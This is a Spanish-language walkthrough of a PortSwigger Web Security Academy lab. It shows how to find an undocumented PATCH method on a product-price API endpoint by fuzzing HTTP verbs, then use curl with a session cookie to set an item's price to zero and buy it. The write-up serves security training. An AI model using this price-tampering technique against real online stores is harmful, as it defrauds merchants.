Entrada

API Testing Lab 3

API Testing Lab 3

Skills

  • Finding and exploiting an unused API endpoint

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Para resolver el laboratorio, debemos explotar un endpoint oculto de la API para comprar una Lightweight l33t Leather Jacket. Podemos iniciar sesión en nuestra propia cuenta utilizando las credenciales wiener:peter


Resolución

Al acceder a la web nos sale esto

Pulsamos sobre My account y nos logueamos utilizando las credenciales wiener:peter

Si nos abrimos el código fuente de la web nos encontramos estos

Si accedemos a https://0a05009004d6f6e6801453ce00a2008e.web-security-academy.net/resources/js/api/productPrice.js vemos este contenido

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
const Container = class {
    constructor(message, innerClasses, outerClasses) {
        this.message = message;
        this.innerClasses = innerClasses;
        this.outerClasses = outerClasses;
    }

    #build() {
        const outer = document.createElement('div');
        outer.setAttribute('class', this.outerClasses.join(' '))

        const inner = document.createElement('p');
        inner.setAttribute('class', this.innerClasses.join(' '));
        inner.innerHTML = this.message;

        outer.appendChild(inner);

        return outer;
    }

    static Error(message) {
        return new Container(message, ['is-warning'], ['error-message', 'message-container']).#build();
    }

    static ProductMessage(message) {
        return new Container(message, ['product-messaging-content'], ['product-messaging-banner', 'message-container']).#build();
    }

    static RemoveAll() {
        [...document.getElementsByClassName('message-container')].forEach(e => e.parentNode.removeChild(e));
    }
};

const getAddToCartForm = () => {
    return document.getElementById('addToCartForm');
};

const setPrice = (price) => {
    document.getElementById('price').innerText = price;
};

const showErrorMessage = (target, message) => {
    Container.RemoveAll();
    target.parentNode.insertBefore(Container.Error(message), target);
};

const showProductMessage = (target, message) => {
    Container.RemoveAll();
    target.parentNode.insertBefore(Container.ProductMessage(message), target);
};

const handleResponse = (target) => (response) => {
    if (response.error) {
        showErrorMessage(target, `Failed to get price: ${response.type}: ${response.error} (${response.code})`);
    } else {
        setPrice(response.price);
        if (response.message) {
            showProductMessage(target, response.message);
        }
    }
};

const loadPricing = (productId) => {
    const url = new URL(location);
    fetch(`//${url.host}/api/products/${encodeURIComponent(productId)}/price`)
        .then(res => res.json())
        .then(handleResponse(getAddToCartForm()));
};

window.onload = () => {
    const url = new URL(location);
    const productId = url.searchParams.get('productId');
    if (url.pathname.startsWith("/product") && productId != null) {
        loadPricing(productId);
    }
};

Pulsamos sobre View details > Add to cart para añadir un producto a nuestro carrito

Si nos abrimos Burpsuite y nos dirigimos a la extensión Logger ++ vemos que al añadir un producto al carrito se hace una petición a /api/products/1/price

Mandamos la petición al Intruder y marcamos GET

Añadimos el payload llamado HTTP verbs

Inspeccionamos las respuestas recibidas y vemos un código de estado 400 con esta respuesta

Enviamos esta petición y nos responde que nos falta un parámetro en el body

1
2
# curl -X PATCH -s --cookie 'session=FAsAkXfF7a0bDzIPfF7Pwtsf7xTczZUQ' -H 'Content-Type: application/json' https://0a05009004d6f6e6801453ce00a2008e.web-security-academy.net/api/products/1/price --data '{}'          
{"type":"ClientError","code":400,"error":"'price' parameter missing in body"}  

Modificamos el precio del artículo aparentemente

1
2
# curl -X PATCH -s --cookie 'session=FAsAkXfF7a0bDzIPfF7Pwtsf7xTczZUQ' -H 'Content-Type: application/json' https://0a05009004d6f6e6801453ce00a2008e.web-security-academy.net/api/products/1/price --data '{"price":0}'         
{"price":"$0.00"} 

Si nos dirigimos a la web podemos confirmarlo

Pulsamos sobre Place Order y compramos el artículo

Esta entrada está licenciada bajo CC BY 4.0 por el autor.